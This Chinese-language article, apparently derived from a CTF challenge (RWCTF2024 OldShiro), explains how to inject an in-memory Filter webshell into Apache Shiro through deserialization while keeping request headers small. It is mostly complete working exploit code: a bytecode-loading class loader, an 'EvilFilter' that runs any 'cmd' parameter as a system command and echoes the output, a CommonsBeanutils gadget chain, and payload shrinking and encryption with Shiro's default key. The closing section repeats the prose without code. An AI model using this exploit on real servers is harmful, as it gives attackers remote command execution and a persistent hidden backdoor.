简化请求头向shiro注入内存马
字数 1067 2025-08-05 11:39:43

简化请求头向Shiro注入内存马技术详解

前言

本文介绍了一种通过简化HTTP请求头向Apache Shiro框架注入内存马的技术。该技术源自RWCTF2024体验赛OldShiro题目,通过优化payload和请求头结构,实现了在严格HTTP头大小限制下的内存马注入。

实验环境

  • 目标框架:Apache Shiro
  • 攻击方式:POST请求注入内存马
  • 关键技术:动态类加载、字节码压缩、请求头优化

POST方式注入内存马

技术背景

在Tomcat默认配置中,最大请求头大小(maxheader)通常不足以承载完整的内存马代码,因此需要特殊技术绕过此限制。现有三种主要方法:

  1. 通过反射修改maxhttpheadersize
  2. 使用gzip+base64压缩编码class bytes
  3. 从POST请求体中发送字节码数据

本文采用第三种方法作为基础技术。

技术原理

POST方法注入内存马的本质是通过动态类加载实现,其流程如下:

  1. ClassLoader#loadClass
  2. ClassLoader#findClass
  3. ClassLoader#defineClass

其中defineClass负责将字节码转换为真正的Java类。

MyClassLoader实现

MyClassLoader需要实现两个核心功能:

  1. 从POST请求体获取内存马字节流
  2. 动态加载内存马对象

获取请求体数据

javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
Field r = request.getClass().getDeclaredField("request");
r.setAccessible(true);
String classData=request.getParameter("classData");

动态加载类

byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
cc.newInstance();

完整MyClassLoader实现

public class MyClassLoader extends AbstractTranslet {
    static{
        try{
            // 获取request对象和classData参数
            javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
            Field r = request.getClass().getDeclaredField("request");
            r.setAccessible(true);
            String classData=request.getParameter("classData");
            
            // 解码并加载类
            byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
            defineClassMethod.setAccessible(true);
            Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
            cc.newInstance();
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    // 必须实现的抽象方法
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

内存马准备

以Filter内存马为例:

public class EvilFilter extends AbstractTranslet implements Filter{
    static {
        try {
            // 获取StandardContext
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext context = (StandardContext) webappClassLoaderBase.getResources().getContext();
            
            // 设置FilterDef
            Filter filter = new EvilFilter();
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(filter);
            filterDef.setFilterName("EvilFilter");
            filterDef.setFilterClass(filter.getClass().getName());
            context.addFilterDef(filterDef);
            
            // 设置FilterConfig
            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context, filterDef);
            Field field1 = StandardContext.class.getDeclaredField("filterConfigs");
            field1.setAccessible(true);
            Map filterConfigs = (Map)field1.get(context);
            filterConfigs.put("EvilFilter", filterConfig);
            
            // 设置FilterMap
            FilterMap filterMap = new FilterMap();
            filterMap.setFilterName("EvilFilter");
            filterMap.addURLPattern("/*");
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
            context.addFilterMap(filterMap);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    // 必须实现的抽象方法
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
    
    // Filter接口方法
    @Override public void init(FilterConfig filterConfig) throws ServletException {}
    @Override public void destroy() {}
    
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        // 执行命令并回显
        Process process = Runtime.getRuntime().exec(cmd);
        InputStream inputStream = process.getInputStream();
        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));
        String line;
        StringBuilder stringBuilder = new StringBuilder();
        while ((line = reader.readLine()) != null){
            stringBuilder.append(line + "\n");
        }
        ServletOutputStream servletOutputStream = servletResponse.getOutputStream();
        servletOutputStream.write(stringBuilder.toString().getBytes());
        servletOutputStream.flush();
        servletOutputStream.close();
        filterChain.doFilter(servletRequest, servletResponse);
    }
}

字节码编码

使用Base64对内存马字节码进行编码:

public class Base64Client {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(EvilFilter.class.getName());
        byte[] payloads = clazz.toBytecode();
        byte[] classData = java.util.Base64.getEncoder().encode(payloads);
        System.out.println(new String(classData));
    }
}

注意:classData需要进行URL编码才能正常使用。

如何简化请求头

优化策略

  1. 减少payload字符串内容:压缩所有涉及字符串的部分
  2. 使用javassist动态生成字节码(本场景不适用)
  3. 使用ASM删除LINENUMBER指令

CB链payload优化

优化后的CommonsBeanutils1Shiro链:

public class CommonsBeanutils1Shiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "t"); // 最小化_name字段

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();
    }
}

MyClassLoader优化

简化异常处理:

public class MyClassLoader extends AbstractTranslet {
    public MyClassLoader(){
        try{
            // 简化后的代码
            javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
            Field r = request.getClass().getDeclaredField("request");
            r.setAccessible(true);
            String classData=request.getParameter("classData");
            byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
            defineClassMethod.setAccessible(true);
            Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
            cc.newInstance();
        }catch (Exception ignored){
            // 忽略所有异常
        }
    }

    // 必须保留的抽象方法
    @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

ASM删除LINENUMBER指令

使用ASM技术进一步压缩字节码:

public static byte[] shortenClassBytes(byte[] classBytes) {
    ClassReader cr = new ClassReader(classBytes);
    ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
    int api = Opcodes.ASM7;
    ClassVisitor cv = new ShortClassVisitor(api, cw);
    int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
    cr.accept(cv, parsingOptions);
    return cw.toByteArray();
}

public static class ShortClassVisitor extends ClassVisitor {
    private final int api;
    public ShortClassVisitor(int api, ClassVisitor classVisitor) {
        super(api, classVisitor);
        this.api = api;
    }
    @Override
    public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
        MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
        return new ShortMethodAdapter(this.api, mv);
    }
}

public static class ShortMethodAdapter extends MethodVisitor implements Opcodes {
    public ShortMethodAdapter(int api, MethodVisitor methodVisitor) {
        super(api, methodVisitor);
    }
    @Override
    public void visitLineNumber(int line, Label start) {
        // 删除行号信息
    }
}

移除不必要的transform方法

使用javassist移除不必要的抽象方法:

ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.get(MyClassLoader.class.getName());
CtMethod ctMethod = clazz.getDeclaredMethod("transform");
clazz.removeMethod(ctMethod);

最终payload生成

public class Client1 {
    public static void main(String []args) throws Exception {
        ClassPool classPool = ClassPool.getDefault();
        CtClass clazz = classPool.get(MyClassLoader.class.getName());
        CtMethod ctMethod = clazz.getDeclaredMethod("transform");
        clazz.removeMethod(ctMethod);
        
        byte[] old_payload = shortenClassBytes(clazz.toBytecode());
        byte[] payloads = new CommonsBeanutils1Shiro().getPayload(old_payload);
        
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.println(ciphertext.toString().length());
    }
    
    // 包含上述ASM相关方法...
}

最小化HTTP请求头

经过优化后,HTTP请求头可简化为:

POST /doLogin HTTP/1.1
Host: 127.0.0.1:8080
Cookie: rememberMe=(优化后的payload)
Content-Type: application/x-www-form-urlencoded
Content-Length: 25623

最终可将HTTP头大小限制在约3600字节左右。

参考文章

  1. Shiro反序列化漏洞利用中header长度限制的思考与突破
  2. Shiro Padding Oracle漏洞检测工具
  3. RWCTF体验赛2024相关资料
简化请求头向Shiro注入内存马技术详解 前言 本文介绍了一种通过简化HTTP请求头向Apache Shiro框架注入内存马的技术。该技术源自RWCTF2024体验赛OldShiro题目,通过优化payload和请求头结构,实现了在严格HTTP头大小限制下的内存马注入。 实验环境 目标框架:Apache Shiro 攻击方式:POST请求注入内存马 关键技术:动态类加载、字节码压缩、请求头优化 POST方式注入内存马 技术背景 在Tomcat默认配置中,最大请求头大小(maxheader)通常不足以承载完整的内存马代码,因此需要特殊技术绕过此限制。现有三种主要方法: 通过反射修改maxhttpheadersize 使用gzip+base64压缩编码class bytes 从POST请求体中发送字节码数据 本文采用第三种方法作为基础技术。 技术原理 POST方法注入内存马的本质是通过动态类加载实现,其流程如下: ClassLoader#loadClass ClassLoader#findClass ClassLoader#defineClass 其中defineClass负责将字节码转换为真正的Java类。 MyClassLoader实现 MyClassLoader需要实现两个核心功能: 从POST请求体获取内存马字节流 动态加载内存马对象 获取请求体数据 动态加载类 完整MyClassLoader实现 内存马准备 以Filter内存马为例: 字节码编码 使用Base64对内存马字节码进行编码: 注意 :classData需要进行URL编码才能正常使用。 如何简化请求头 优化策略 减少payload字符串内容 :压缩所有涉及字符串的部分 使用javassist动态生成字节码 (本场景不适用) 使用ASM删除LINENUMBER指令 CB链payload优化 优化后的CommonsBeanutils1Shiro链: MyClassLoader优化 简化异常处理: ASM删除LINENUMBER指令 使用ASM技术进一步压缩字节码: 移除不必要的transform方法 使用javassist移除不必要的抽象方法: 最终payload生成 最小化HTTP请求头 经过优化后,HTTP请求头可简化为: 最终可将HTTP头大小限制在约3600字节左右。 参考文章 Shiro反序列化漏洞利用中header长度限制的思考与突破 Shiro Padding Oracle漏洞检测工具 RWCTF体验赛2024相关资料